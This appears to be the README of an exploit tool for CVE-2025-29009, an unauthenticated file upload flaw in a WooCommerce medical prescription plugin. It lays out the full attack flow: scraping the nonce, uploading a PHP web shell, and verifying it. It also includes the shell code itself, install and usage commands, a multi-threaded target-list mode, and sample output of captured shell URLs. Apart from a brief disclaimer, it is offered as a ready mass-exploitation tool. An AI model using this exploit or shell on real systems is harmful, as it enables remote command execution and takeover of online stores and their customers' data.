nxploited/cve-2025-29009WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 is vulnerable to a high priority Arbitrary File Upload
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 is vulnerable to a high priority Arbitrary File Upload
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Field | Detail |
|---|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Affected | All versions ≤ 1.2.3 |
| Auth | None required |
| Type | Unrestricted Upload of File with Dangerous Type → Web Shell Upload |
| CWE | CWE-434 · Unrestricted Upload of File with Dangerous Type |
Root Cause:
The wkwcpa_handle_prescription_session AJAX handler (action=wkwcpa_handle_prescription_session) accepts file uploads via wkwc_pa_prescription_attachment[] without validating file extension or MIME type server-side. An unauthenticated attacker can extract the ajaxNonce from the public WooCommerce storefront (embedded in wkwcpaFrontObj JavaScript object), then upload a PHP web shell directly to the server's uploads directory. The response returns the full accessible URL of the uploaded file.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Create your PHP shell and embed a unique signature string so the tool can verify successful execution:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Save as shell.php in the same directory as the script.
The string NxploitedShellOK is the signature — it must appear in the shell's response for verification to pass.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Targets without
http://orhttps://are automatically prefixed withhttp://.
| File | Contents |
|---|---|
shells.txt | One verified shell URL per line |
Terminal:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Code | Meaning |
|---|---|
shell_file_missing | shell.php not found in working directory |
no_front_page | No candidate page returned HTTP 200 |
nonce_not_found | wkwcpaFrontObj not present on any page |
upload_error | Network error during POST |
json_parse_error | Response is not valid JSON |
success_false | Server returned data.success = false |
no_attachments | Upload succeeded but no URL in response |
shell_url_not_found | Could not parse file URL from response HTML |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Fixed in 1.2.4